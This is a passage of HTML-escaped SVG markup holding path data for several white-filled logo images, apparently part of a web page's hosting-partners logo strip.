89.5942 19.3308C89.5985 19.3393 89.6038 19.3477 89.6091 19.3562C89.6143 19.3646 89.6187 19.3731 89.624 19.3816C89.6293 19.39 89.6341 19.3985 89.6393 19.4069C89.6446 19.4154 89.6499 19.4228 89.6552 19.4313C89.6605 19.4387 89.6658 19.4461 89.6711 19.4545C89.6725 19.4556 89.6735 19.4577 89.6744 19.4588C89.6797 19.4662 89.685 19.4736 89.6903 19.4799C89.6966 19.4873 89.7018 19.4957 89.7081 19.5031C89.7201 19.519 89.7326 19.5338 89.7451 19.5486C89.7581 19.5634 89.7715 19.5782 89.7845 19.5909C89.7994 19.6068 89.8139 19.6216 89.8288 19.6375C89.8297 19.6385 89.8312 19.6396 89.8312 19.6396C89.8427 19.6501 89.8542 19.6618 89.8667 19.6724L89.8682 19.6734C89.8797 19.684 89.8922 19.6946 89.9038 19.7041C89.9062 19.7062 89.9081 19.7083 89.9105 19.7094C89.9211 19.7178 89.9316 19.7263 89.9422 19.7348C89.9461 19.7379 89.9494 19.7411 89.9538 19.7443C89.9643 19.7517 89.9749 19.7591 89.9855 19.7665C90.0023 19.7792 90.0201 19.7908 90.0384 19.8014C90.0489 19.8077 90.0585 19.8141 90.0691 19.8204H90.0701C90.0744 19.8236 90.0797 19.8257 90.0835 19.8289C90.0941 19.8352 90.1047 19.8405 90.1153 19.8458C90.1206 19.8489 90.1249 19.851 90.1302 19.8532C90.1432 19.8606 90.1557 19.8669 90.1682 19.8722C90.2278 19.9007 90.2898 19.924 90.3542 19.9431C90.3619 19.9452 90.3701 19.9473 90.3778 19.9494C90.3927 19.9536 90.4061 19.9568 90.421 19.96C90.4297 19.9621 90.4388 19.9642 90.4475 19.9663C90.4561 19.9684 90.4653 19.9706 90.4739 19.9716C90.4878 19.9737 90.4994 19.9758 90.5128 19.979C90.5383 19.9832 90.5628 19.9864 90.5883 19.9885C90.5902 19.9885 90.5922 19.9885 90.5946 19.9885C90.6051 19.9896 90.6157 19.9906 90.6263 19.9906C90.6369 19.9917 90.6484 19.9917 90.659 19.9928C90.6686 19.9928 90.6782 19.9938 90.6874 19.9938C90.697 19.9938 90.7056 19.9938 90.7152 19.9938H90.7181C91.245 19.9928 91.6964 19.6724 91.893 19.2166C91.9531 19.0548 91.9882 18.8687 91.9945 18.6582V18.6572C91.9954 18.6297 91.9954 18.6022 91.9954 18.5736V16.8267C91.9954 16.668 91.8666 16.5391 91.7079 16.5391C91.6286 16.5391 91.557 16.5708 91.5051 16.6237C91.4532 16.6754 91.4205 16.7474 91.4205 16.8267V17.6431C91.2964 17.5606 91.157 17.4992 91.008 17.4643C91.0037 17.4633 91.0008 17.4622 90.9974 17.4622C90.9455 17.4527 90.8979 17.4442 90.8546 17.4389C90.809 17.4337 90.7614 17.4315 90.7152 17.4315C90.0095 17.4315 89.4365 18.0037 89.4336 18.7079V18.7185C89.4365 18.7302 89.4365 18.7397 89.4365 18.7481ZM90.7181 18.0217C91.1008 18.0217 91.4118 18.3325 91.4118 18.7154C91.4118 18.7217 91.4118 18.728 91.4118 18.7333C91.4109 18.7883 91.4036 18.8422 91.3897 18.893C91.3113 19.1901 91.0407 19.4091 90.7191 19.4091C90.3364 19.4091 90.0254 19.0982 90.0254 18.7154C90.0254 18.3325 90.3355 18.0217 90.7181 18.0217Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M91.8984 18.9685C91.9571 18.8118 91.9907 18.6316 91.997 18.4277C91.998 18.4451 91.998 18.4625 91.998 18.48C91.9989 18.6531 91.9633 18.819 91.8984 18.9685Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M90.8945 17.2461C90.9412 17.2512 90.9873 17.2594 91.032 17.2685C90.982 17.2594 90.9364 17.2522 90.8945 17.2461Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M81.5177 17.4587C81.4014 17.3445 81.2735 17.2599 81.1336 17.206C80.9932 17.151 80.8471 17.1246 80.6947 17.1246C80.5394 17.1246 80.3923 17.1542 80.2539 17.2134C80.1154 17.2726 79.9938 17.354 79.889 17.4577C79.7842 17.5613 79.702 17.6829 79.6419 17.8225C79.5813 17.9621 79.5505 18.1122 79.5505 18.273C79.5505 18.4284 79.5804 18.5765 79.6385 18.7161C79.6976 18.8556 79.7779 18.9773 79.8794 19.082C79.9813 19.1866 80.1029 19.2702 80.2433 19.3315C80.3841 19.3929 80.5351 19.4235 80.6971 19.4235C80.8495 19.4235 80.9932 19.3982 81.1274 19.3474C81.2629 19.2966 81.3898 19.211 81.5091 19.0915C81.5365 19.064 81.5682 19.0439 81.6042 19.0302C81.6403 19.0175 81.6754 19.0111 81.7124 19.0111C81.7533 19.0111 81.7917 19.0185 81.8263 19.0344C81.8614 19.0502 81.8908 19.0703 81.9172 19.0968C81.9436 19.1232 81.9629 19.1528 81.9763 19.1866C81.9903 19.2205 81.9975 19.2564 81.9975 19.2945C81.9975 19.3326 81.9903 19.3696 81.9763 19.4045C81.9629 19.4405 81.9427 19.47 81.9172 19.4965C81.7441 19.6667 81.5514 19.7937 81.3389 19.8761C81.1264 19.9586 80.9086 19.9998 80.6856 19.9998C80.5279 19.9998 80.3764 19.9787 80.2317 19.9374C80.087 19.8962 79.9505 19.838 79.8246 19.764C79.6986 19.69 79.5837 19.6001 79.4789 19.4954C79.3741 19.3907 79.2852 19.2744 79.2111 19.1464C79.1371 19.0185 79.0789 18.881 79.0381 18.7341C78.9967 18.5871 78.9756 18.4348 78.9756 18.2772C78.9756 18.0488 79.0179 17.831 79.1035 17.6216C79.189 17.4132 79.3073 17.2293 79.4597 17.0685C79.6121 16.9089 79.7938 16.7809 80.0053 16.6857C80.2168 16.5906 80.4476 16.543 80.6981 16.543C80.9235 16.543 81.1403 16.5853 81.3495 16.6698C81.5591 16.7544 81.7504 16.8824 81.9225 17.0537C81.9778 17.1129 82.0061 17.1796 82.0061 17.2536C82.0061 17.2917 81.9989 17.3276 81.9831 17.3625C81.9672 17.3974 81.946 17.427 81.9196 17.4534C81.8932 17.4799 81.8614 17.5 81.8263 17.5158C81.7903 17.5317 81.7533 17.5391 81.7134 17.5391C81.6773 17.5391 81.6413 17.5328 81.6066 17.5201C81.5716 17.5063 81.5418 17.4862 81.5177 17.4587Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M83.37 19.9988C83.2474 19.9988 83.132 19.9787 83.0263 19.9375C82.9196 19.8973 82.8273 19.8391 82.7479 19.764C82.6701 19.689 82.6076 19.5991 82.5609 19.4944C82.5153 19.3897 82.4922 19.2734 82.4922 19.1454V16.8338C82.4922 16.7926 82.4994 16.7534 82.5143 16.7185C82.5292 16.6826 82.5484 16.6519 82.5725 16.6265C82.597 16.6001 82.6253 16.58 82.6595 16.5652C82.6931 16.5504 82.7302 16.543 82.7691 16.543C82.8095 16.543 82.8474 16.5504 82.8835 16.5652C82.9196 16.58 82.9513 16.6001 82.9787 16.6265C83.0051 16.653 83.0272 16.6836 83.0431 16.7185C83.0599 16.7545 83.0676 16.7926 83.0676 16.8338V19.1592C83.0705 19.247 83.0984 19.3146 83.1479 19.3611C83.1974 19.4077 83.2671 19.432 83.3551 19.4341H83.3676C83.409 19.4341 83.4469 19.4415 83.482 19.4563C83.5171 19.4711 83.5464 19.4912 83.5729 19.5177C83.5993 19.5441 83.6186 19.5737 83.632 19.6086C83.646 19.6435 83.6532 19.6805 83.6532 19.7207C83.6532 19.8042 83.6267 19.8709 83.5729 19.9227C83.521 19.9724 83.4522 19.9988 83.37 19.9988Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M83.8115 18.7184C83.8115 18.5418 83.8457 18.3758 83.913 18.2193C83.9807 18.0638 84.073 17.9274 84.1889 17.8111C84.3052 17.6948 84.4408 17.6028 84.5961 17.5351C84.7509 17.4674 84.9167 17.4336 85.0941 17.4336C85.271 17.4336 85.4369 17.4674 85.5936 17.5351C85.7489 17.6028 85.8854 17.6948 86.0008 17.8111C86.1157 17.9274 86.208 18.0638 86.2743 18.2193C86.3421 18.3747 86.3758 18.5418 86.3758 18.7184C86.3758 18.895 86.3421 19.061 86.2743 19.2165C86.207 19.3719 86.1157 19.5062 86.0008 19.6226C85.8854 19.7378 85.7489 19.8298 85.5936 19.8965C85.4379 19.9641 85.271 19.998 85.0941 19.998C84.9177 19.998 84.7518 19.9641 84.5961 19.8965C84.4408 19.8288 84.3052 19.7378 84.1889 19.6226C84.073 19.5073 83.9807 19.3719 83.913 19.2165C83.8442 19.061 83.8115 18.895 83.8115 18.7184ZM84.3942 18.7184C84.3942 18.8147 84.4124 18.9045 84.4495 18.9891C84.4865 19.0727 84.536 19.1467 84.5994 19.2102C84.6629 19.2736 84.736 19.3233 84.8206 19.3603C84.9052 19.3973 84.9951 19.4153 85.0912 19.4153C85.1893 19.4153 85.2816 19.3973 85.3662 19.3603C85.4508 19.3233 85.5249 19.2736 85.5883 19.2102C85.6518 19.1467 85.7013 19.0737 85.7373 18.9891C85.7734 18.9056 85.7912 18.8147 85.7912 18.7184C85.7912 18.6222 85.7734 18.5323 85.7364 18.4477C85.6994 18.3642 85.6494 18.2901 85.5859 18.2267C85.5225 18.1633 85.4484 18.1146 85.3638 18.0786C85.2792 18.0427 85.1884 18.0247 85.0922 18.0247C84.997 18.0247 84.9071 18.0427 84.8225 18.0786C84.7379 18.1146 84.6639 18.1643 84.6004 18.2267C84.5369 18.2901 84.4874 18.3631 84.4504 18.4477C84.4124 18.5323 84.3942 18.6222 84.3942 18.7184Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M86.7051 17.7202C86.7051 17.68 86.7123 17.643 86.7272 17.6081C86.7421 17.5732 86.7623 17.5435 86.7887 17.5171C86.8152 17.4907 86.8445 17.4706 86.8796 17.4558C86.9142 17.441 86.9512 17.4336 86.9916 17.4336C87.0315 17.4336 87.0685 17.441 87.1046 17.4558C87.1406 17.4706 87.1714 17.4907 87.1969 17.5171C87.2233 17.5435 87.243 17.5732 87.2589 17.6081C87.2748 17.643 87.2824 17.68 87.2824 17.7202V18.7776C87.2824 18.8696 87.2993 18.9542 87.332 19.0314C87.3646 19.1097 87.4103 19.1774 87.4685 19.2355C87.5267 19.2937 87.5944 19.3391 87.6728 19.3719C87.7507 19.4047 87.8353 19.4216 87.9262 19.4216C88.016 19.4216 88.0978 19.4047 88.1708 19.3709C88.2434 19.337 88.3059 19.2916 88.3578 19.2334C88.4098 19.1752 88.4497 19.1076 88.4771 19.0282C88.505 18.95 88.5184 18.8644 88.5184 18.7723V17.7202C88.5184 17.68 88.5261 17.643 88.542 17.6081C88.5578 17.5732 88.579 17.5435 88.6064 17.5171C88.6338 17.4907 88.6655 17.4706 88.6992 17.4558C88.7343 17.441 88.7713 17.4336 88.8117 17.4336C88.8516 17.4336 88.8886 17.441 88.9237 17.4558C88.9583 17.4706 88.9881 17.4907 89.0136 17.5171C89.0391 17.5435 89.0588 17.5732 89.0727 17.6081C89.0876 17.643 89.0948 17.68 89.0948 17.7202V18.7723C89.0948 18.9415 89.0655 19.1002 89.0073 19.2482C88.9477 19.3962 88.8665 19.5263 88.7626 19.6374C88.6593 19.7484 88.5352 19.8372 88.3925 19.9007C88.2502 19.9652 88.0944 19.9969 87.9276 19.9969C87.7584 19.9969 87.5997 19.9652 87.4517 19.9007C87.3036 19.8372 87.1743 19.7484 87.0632 19.6374C86.9527 19.5253 86.8656 19.3962 86.8022 19.2482C86.7387 19.1002 86.707 18.9415 86.707 18.7723V17.7202H86.7051Z&quot; fill=&quot;white&quot;/&gt;
        &lt;/svg&gt;
        &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; class=&quot;a-fade-up block-hosts-logos__image&quot; viewBox=&quot;0 0 1002 169&quot;&gt;
            &lt;path d=&quot;M84.16 169v-32.88c34.86 0 61.75-34.37 48.31-70.74A49 49 0 0 0 103.09 36a51.94 51.94 0 0 0-70.22 48.31H0c0-54.8 53.29-98.14 111.55-80.2a81.43 81.43 0 0 1 53.29 53.3C182.77 115.7 139.44 169 84.16 169z&quot;/&gt;
            &lt;path d=&quot;M84.66 136.12H51.79v-32.38h32.87m-32.87 57.79h-24.9v-25.41h24.9v25.41m-24.9-25.41H6V115.2h20.89M300.3 48.94c-9.46-6.48-21.91-10-35.86-10h-30.37v97.14h30.38q20.92 0 35.86-10.46a38.11 38.11 0 0 0 12.45-15.44c3-6.48 4.48-14.45 4.48-22.92s-1.49-16.44-4.48-22.42c-3-7.43-6.98-12.41-12.46-15.9zM252 55.42h9.46c10.46 0 19.42 2 26.39 6.48 7.47 4.48 11 13 11 25.41s-4 21.42-11 26.4c-6.47 4-14.94 6.48-25.9 6.48H252V55.42m86.65-17.93a10.13 10.13 0 0 0-7.47 3 9 9 0 0 0-3.49 7.47 10.46 10.46 0 1 0 20.92 0 10.14 10.14 0 0 0-3-7.47c-1.49-2-4-3-7-3m-9 29.89h17.43v68.25h-17.36V67.38m79.68 6c-5-4.48-11-7.47-17.43-7.47a30.82 30.82 0 0 0-23.41 10 34.69 34.69 0 0 0-9.46 24.41c0 9.47 3 17.93 9 24.41s13.94 9.47 23.41 9.47a27.56 27.56 0 0 0 16.93-5.48v1.49c0 5.48-1.49 10-4.48 13s-7 4.48-12.45 4.48c-8 0-12.95-3-18.92-11.46l-12 11.46.5.5c2.49 3.49 6.47 7 11.45 10.46s11.45 5 18.92 5c10.46 0 18.43-3 24.4-9.47s9.46-14.45 9.46-24.91V67.38h-16.91v6h1m-4.48 40.35c-3 3.49-7 5-12 5s-9-1.49-12-5-4.48-8-4.48-13.45S378 90.29 381 86.8s7-5 12-5 9 1.49 12 5 4.48 8 4.48 13.45-1.49 10-4.48 13.45m36.35-46.33h17.43v68.25h-17.54V67.38m8.47-29.89a10.21 10.21 0 0 0-10.46 10.46 10.46 10.46 0 1 0 20.92 0 10.21 10.21 0 0 0-10.47-10.46M496 48.94h-16.91v18.44h-10v15.44h10v28.4c0 9 2 15.44 5.48 18.93s10 5.48 18.43 5.48a48.3 48.3 0 0 0 8.47-.5h1v-15.45l-6 .5c-4 0-7-.5-8-2-1.49-1.49-2-4.48-2-9V83.32h15.94V67.87h-15.89L496 48.94m96.61-10h17.43v97.14h-17.41V39m191.24 72.73a57.76 57.76 0 0 1-8.47 8 17.19 17.19 0 0 1-9 2.49 17 17 0 0 1-12.4-5.53c-3.49-4-5-8.47-5-14.45s1.49-10.46 5-14.45a15.31 15.31 0 0 1 12.45-5.48c5.48 0 11.45 3.49 16.43 9.47l11.45-11c-7.47-9.47-16.93-13.95-28.39-13.95-9.46 0-17.43 3.49-24.4 10.46a36.2 36.2 0 0 0-10 25.41c0 10 3.49 18.93 10 25.41a32.39 32.39 0 0 0 24.4 10.46c12.45 0 22.41-5.48 29.38-15.44l-11.45-11.46m70.22-34.37a26.22 26.22 0 0 0-10-8 32.5 32.5 0 0 0-14.44-3c-9.46 0-17.43 3.49-23.41 10.46a40 40 0 0 0-8.47 25.41c0 10.46 3 18.93 9.46 25.41s14.44 10 24.9 10c11.45 0 20.92-4.48 28.39-13.95l.5-.5-11.45-11c-1 1.49-2.49 2.49-4 4a15.18 15.18 0 0 1-5 3.49 16.36 16.36 0 0 1-8.47 2 19.17 19.17 0 0 1-12-4c-3-2.49-4.48-6-5-10.46h45.82v-6.48a37.16 37.16 0 0 0-2-13 22.59 22.59 0 0 0-5-10.46m-37.18 16.06a17.64 17.64 0 0 1 4.48-8 12 12 0 0 1 9-3.49c4 0 7.47 1 9.46 3.49 2 2 3 5 3.49 8h-26.43m103.59-20.43c-5-4.48-12.45-6.48-21.41-6.48a43.59 43.59 0 0 0-15.92 3.5c-4.48 2.49-9 6-11.45 11l11 10.46c4.48-7.47 9.46-10 16.43-10a13.9 13.9 0 0 1 9 3 9 9 0 0 1 3.49 7.47v3.49a38.13 38.13 0 0 0-12.45-2q-12.7 0-20.92 6c-5.48 4-8 10-8 16.94 0 6.48 2 11.46 6.47 15.44s10 5.48 16.43 5.48 12.45-2.49 18.43-7v5.48h16.93V91.79c0-8-2.49-14.45-8-18.93m-30.38 36.86c2-1.49 4.48-2 8-2a42.37 42.37 0 0 1 12.95 2.49v6.48a22 22 0 0 1-14.94 5.48c-3 0-5.48-.5-7-2s-2.49-3-2.49-5a8.17 8.17 0 0 1 3.49-5.48m104.54-35.84c-5-5.48-11.45-8-19.92-8q-10.46 0-16.43 6v-4h-16.94v68.25h17.43V98.26c0-5 1-9.47 3.49-12.45a12.54 12.54 0 0 1 10-4.48 10.94 10.94 0 0 1 9 4 18 18 0 0 1 3.49 11v39.85H1002V96.27q-.75-14.2-7.47-22.42m-423.31-1c-5-4.48-12.45-6.48-21.41-6.48a43.59 43.59 0 0 0-15.94 3.49c-4.48 2.49-9 6-11.45 11l11 10.46c4.48-7.47 9.46-10 16.43-10a13.9 13.9 0 0 1 9 3 9 9 0 0 1 3.49 7.47v3.49a38.13 38.13 0 0 0-12.45-2q-12.7 0-20.92 6c-5.48 4-8 10-8 16.94 0 6.48 2 11.46 6.47 15.44s10 5.48 16.43 5.48 12.45-2.49 18.43-7v5.48h16.93V91.79c0-8-3-14.45-8-18.93m-30.88 36.86c2-1.49 4.48-2 8-2a42.37 42.37 0 0 1 12.95 2.49v6.48a22 22 0 0 1-14.94 5.48c-3 0-5.48-.5-7-2s-2.49-3-2.49-5a14.84 14.84 0 0 1 3.49-5.48m132 27.9a49.82 49.82 0 1 1 49.8-49.82 50 50 0 0 1-49.8 49.82m0-82.69a32.38 32.38 0 1 0 32.33 32.4 32.31 32.31 0 0 0-32.37-32.38&quot;/&gt;
        &lt;/svg&gt;
        &lt;svg width=&quot;112&quot; height=&quot;24&quot; viewBox=&quot;0 0 112 24&quot; fill=&quot;none&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; class=&quot;a-fade-up block-hosts-logos__image&quot;&gt;
            &lt;g clip-path=&quot;url(#clip0_6604_6298)&quot;&gt;
                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M52.6867 12.6314C52.6867 10.2314 50.8207 8.29297 48.4346 8.29297C46.0792 8.29297 44.2132 10.2006 44.1826 12.6314C44.1826 15.0006 46.0792 16.9391 48.4346 16.9391C50.8207 16.9391 52.6867 15.0006 52.6867 12.6314ZM50.9124 12.6006C50.9124 14.0161 49.8112 15.1545 48.4346 15.1545C47.0581 15.1545 45.9568 14.0161 45.9568 12.6006C45.9568 11.1853 47.0581 10.0468 48.4346 10.0468C49.8112 10.0468 50.9124 11.1853 50.9124 12.6006Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M63.761 12.6314C63.761 10.2314 61.895 8.29297 59.5089 8.29297C57.1535 8.29297 55.2874 10.2006 55.2568 12.6314C55.2568 15.0006 57.1535 16.9391 59.5089 16.9391C61.895 16.9391 63.761 15.0006 63.761 12.6314ZM61.9867 12.6006C61.9867 14.0161 60.8855 15.1545 59.5089 15.1545C58.1324 15.1545 57.0311 14.0161 57.0311 12.6006C57.0311 11.1853 58.1324 10.0468 59.5089 10.0468C60.8855 10.0468 61.9867 11.1853 61.9867 12.6006Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M5.18032 12.2939C6.28156 12.5708 6.77101 13.5247 6.77101 14.2016C6.77101 15.5862 5.76153 16.7862 4.10966 16.7862H0.683542C0.591771 16.7862 0.5 16.6939 0.5 16.6016V8.54007C0.5 8.44777 0.591771 8.35547 0.683542 8.35547H3.86493C5.36386 8.35547 6.34274 9.24775 6.34274 10.6939C6.34274 11.2478 6.03684 11.9555 5.18032 12.2939ZM3.68139 11.6786C4.14024 11.6786 4.44615 11.3094 4.44615 10.817C4.44615 10.294 4.17083 9.92468 3.6508 9.92468H2.27424V11.6786H3.68139ZM2.27424 15.1863V13.1555V13.1247H3.92611C4.5685 13.1247 4.87441 13.6785 4.87441 14.1401C4.87441 14.6632 4.5685 15.1863 3.98729 15.1863H2.27424Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M11.6043 8.54007V16.5709C11.6043 16.6632 11.5126 16.7555 11.4208 16.7555H10.0136C9.92185 16.7555 9.83008 16.6632 9.83008 16.5709V8.54007C9.83008 8.44777 9.92185 8.35547 10.0136 8.35547H11.4208C11.5126 8.35547 11.6043 8.44777 11.6043 8.54007Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M20.9348 10.6637C20.8736 10.7252 20.7513 10.7252 20.6901 10.6637C20.2312 10.2021 19.65 9.92519 18.977 9.92519C17.5699 9.92519 16.4686 11.1252 16.4686 12.6021C16.4686 14.0483 17.5699 15.2791 18.977 15.2791C19.8641 15.2791 20.996 14.7252 20.996 13.8329H18.9464C18.8546 13.8329 18.7629 13.7406 18.7629 13.6483V12.5713C18.7629 12.479 18.8546 12.3867 18.9464 12.3867H22.862C22.9538 12.3867 23.0455 12.479 23.0455 12.5713C22.9844 15.5867 21.3325 16.9098 18.977 16.9098C16.5604 16.9098 14.6943 14.9713 14.6943 12.6021C14.6943 10.2021 16.591 8.26367 18.977 8.26367C20.2006 8.26367 21.2713 8.72519 21.9748 9.49442C22.036 9.58672 22.036 9.70983 21.9442 9.77133L20.9348 10.6637Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M27.1134 14.3247C27.2052 14.3247 27.2664 14.3863 27.297 14.4786C27.3887 14.9401 27.8171 15.3401 28.5206 15.3401C29.2242 15.3401 29.7442 15.0017 29.7442 14.4478C29.7442 14.0786 29.5912 13.7401 28.7347 13.4939L27.7252 13.1863C25.8898 12.6017 25.5534 11.5247 25.5534 10.7555C25.5534 9.24782 26.8381 8.23242 28.4288 8.23242C29.9889 8.23242 31.1514 9.1247 31.2431 10.6017C31.2431 10.7247 31.1514 10.817 31.0596 10.817H29.6524C29.5607 10.817 29.4995 10.7555 29.4689 10.6632C29.4077 10.2017 29.0406 9.86319 28.3983 9.86319C27.7865 9.86319 27.3276 10.2017 27.3276 10.694C27.3276 10.9093 27.4193 11.3094 28.2147 11.5555L29.2242 11.8632C31.2431 12.4478 31.549 13.5863 31.5185 14.417C31.4879 16.0786 29.9889 16.8786 28.5206 16.8786C26.7769 16.8786 25.584 15.8939 25.4922 14.4786C25.4922 14.3555 25.584 14.2632 25.6757 14.2632H27.1134V14.3247Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M41.6749 14.9406C41.7667 15.0021 41.7972 15.1252 41.7361 15.2175C41.0019 16.2329 39.7783 16.9098 38.31 16.9098C35.9239 16.9098 34.1191 14.9713 34.1191 12.6021C34.1191 10.2021 35.9239 8.26367 38.31 8.26367C39.7172 8.26367 40.9407 8.90979 41.6749 9.89444C41.7361 9.98674 41.7055 10.1098 41.6137 10.1713L40.4819 10.9713C40.3901 11.0329 40.2984 11.0021 40.2372 10.9406C39.7783 10.356 39.1053 9.98674 38.31 9.98674C36.9029 9.98674 35.8933 11.1559 35.8933 12.6329C35.8933 14.0791 36.9029 15.2483 38.31 15.2483C39.1053 15.2483 39.8395 14.8483 40.2984 14.2329C40.3595 14.1406 40.4819 14.1406 40.5431 14.2021L41.6749 14.9406Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M66.2083 8.35547H72.1423C72.2346 8.35547 72.3262 8.44777 72.3262 8.54007V9.77089C72.3262 9.86319 72.2346 9.95549 72.1423 9.95549H70.0623V16.5709C70.0623 16.6632 69.9707 16.7555 69.8791 16.7555H68.4716C68.3799 16.7555 68.2883 16.6632 68.2883 16.5709V9.98624H66.2083C66.116 9.98624 66.0244 9.89393 66.0244 9.80163V8.57088C65.9941 8.44777 66.0857 8.35547 66.2083 8.35547Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M76.4248 14.3252C76.5171 14.3252 76.5778 14.3867 76.6087 14.479C76.7004 14.9406 77.1289 15.3406 77.8323 15.3406C78.5358 15.3406 79.0559 15.0021 79.0559 14.4483C79.0559 14.0791 78.903 13.7406 78.0466 13.4944L77.0366 13.2175C75.2012 12.6329 74.865 11.556 74.865 10.7867C74.865 9.27907 76.1499 8.26367 77.7407 8.26367C79.3005 8.26367 80.4628 9.15595 80.5551 10.6329C80.5551 10.756 80.4628 10.8483 80.3711 10.8483H78.9643C78.8726 10.8483 78.8113 10.7867 78.7804 10.6944C78.7197 10.2329 78.3525 9.89444 77.7097 9.89444C77.0979 9.89444 76.6391 10.2329 76.6391 10.7252C76.6391 10.9406 76.7307 11.3406 77.5264 11.5867L78.5358 11.8944C80.5551 12.479 80.861 13.6175 80.83 14.4483C80.7996 16.1098 79.3005 16.9098 77.8323 16.9098C76.0886 16.9098 74.8954 15.9252 74.8037 14.5098C74.8037 14.3867 74.8953 14.2944 74.9876 14.2944H76.4248V14.3252Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M101.173 2.57066C101.173 1.24758 100.102 0.170658 98.7869 0.170658C97.9305 0.170658 97.7162 0.724502 96.8902 0.724502C96.4314 0.724502 96.0338 0.47835 95.8196 0.0783508C95.7583 -0.0447263 95.575 -0.013957 95.544 0.10912C95.5137 0.262966 95.5137 0.416812 95.5137 0.570658C95.5137 2.01681 96.676 3.18605 98.0835 3.18605C98.5423 3.18605 99.0011 3.06296 99.3683 2.84758V3.06296C99.3683 3.95527 100.102 4.69373 100.989 4.69373C101.051 4.69373 101.111 4.69373 101.204 4.69373V2.57066H101.173Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M103.405 8.51006C103.803 8.75616 104.17 9.03313 104.446 9.3716C104.843 9.83311 105.057 10.3869 104.966 10.9408C104.966 12.2331 104.14 13.3716 102.885 14.0793C101.999 14.5716 100.897 14.8793 99.6733 14.8793C98.6944 14.8793 97.7463 14.6947 96.9513 14.3254C97.9296 15.1869 99.3984 15.7101 101.02 15.7101C101.447 15.7101 101.846 15.6793 102.243 15.6177C101.846 16.2946 101.325 16.8793 100.714 17.3716C100.714 17.4076 100.724 17.4331 100.733 17.4542C100.739 17.4691 100.744 17.4819 100.744 17.4946C101.111 18.8485 101.05 23.6485 100.438 23.8023C99.8876 23.9562 97.685 20.2639 97.1345 18.7869H96.737C96.0639 18.7869 95.4521 18.6946 94.8707 18.51C94.8403 18.4946 94.8094 18.4869 94.779 18.4793C94.7487 18.4716 94.7177 18.4639 94.6874 18.4485C92.1486 17.5869 90.2822 15.1562 90.2822 12.2639C90.2822 11.8023 90.3435 11.3408 90.4352 10.8485C90.4655 10.8177 90.4655 10.7869 90.4655 10.7562V10.7254C90.4655 10.71 90.4732 10.6946 90.481 10.6793C90.4887 10.6639 90.4965 10.6485 90.4965 10.6331C90.4965 10.5971 90.5068 10.5716 90.5158 10.5505C90.5217 10.5355 90.5268 10.5228 90.5268 10.51C90.5578 10.4793 90.5578 10.4485 90.5578 10.4177C90.5578 10.4024 90.5655 10.3869 90.5726 10.3716C90.5804 10.3562 90.5881 10.3408 90.5881 10.3254C90.5881 10.3101 90.5959 10.2946 90.6036 10.2793C90.6114 10.2639 90.6185 10.2485 90.6185 10.2331C90.6494 10.2023 90.6494 10.2023 90.6494 10.1716C90.6494 10.0985 90.6688 10.0448 90.6914 9.97977C90.6978 9.96258 90.7043 9.94468 90.7107 9.92541C91.2612 8.20234 92.3622 6.44849 93.6471 5.00234C93.598 5.12656 93.5683 5.25078 93.5425 5.3588C93.5367 5.38456 93.5309 5.40941 93.5251 5.43311C93.3722 6.69462 95.1153 7.98693 97.4101 8.29465C97.7463 8.32539 98.0826 8.3562 98.3885 8.3562C100.01 8.3562 101.356 7.80232 101.754 6.94079C101.759 6.92892 101.765 6.91685 101.771 6.90453C102.241 5.89499 103.402 3.40234 105.578 3.40234C106.933 3.40234 107.851 3.88552 108.602 4.28102C109.122 4.55503 109.562 4.78696 110.013 4.78696C110.594 4.78696 110.9 4.57157 111.022 3.86388C111.363 5.68209 110.142 5.82564 108.753 5.98914C107.767 6.10509 106.696 6.23108 106.036 6.9716C105.718 7.30838 105.523 7.70373 105.332 8.0922C105.157 8.44902 104.985 8.80007 104.721 9.09462C104.323 8.84853 103.895 8.66386 103.405 8.51006ZM93.0663 13.3716C94.0756 13.6177 95.1153 12.8177 95.4211 11.5562C95.727 10.3254 95.1462 9.12544 94.1369 8.84853C93.1269 8.60237 92.0873 9.40234 91.7814 10.6639C91.4755 11.9254 92.0563 13.1254 93.0663 13.3716Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M94.7177 18.4172C93.831 18.3556 92.974 18.1094 92.2402 17.7402C92.4235 19.2479 92.7907 20.7556 93.1579 20.8172C93.4941 20.8787 94.2899 19.7402 94.932 18.4787L94.7177 18.4172Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M90.7105 9.92478C90.8325 8.66323 91.2307 7.34011 91.8728 6.10938C90.4659 6.10938 89.334 7.24781 89.334 8.66323C89.334 9.55551 89.7928 10.3556 90.4659 10.7863C90.5266 10.5093 90.6189 10.2017 90.7105 9.92478Z&quot; fill=&quot;white&quot;/&gt;
            &lt;/g&gt;
            &lt;defs&gt;
                &lt;clipPath id=&quot;clip0_6604_6298&quot;&gt;
                    &lt;rect width=&quot;111&quot; height=&quot;24&quot; fill=&quot;white&quot; transform=&quot;translate(0.5)&quot;/&gt;
                &lt;/clipPath&gt;
            &lt;/defs&gt;
        &lt;/svg&gt;
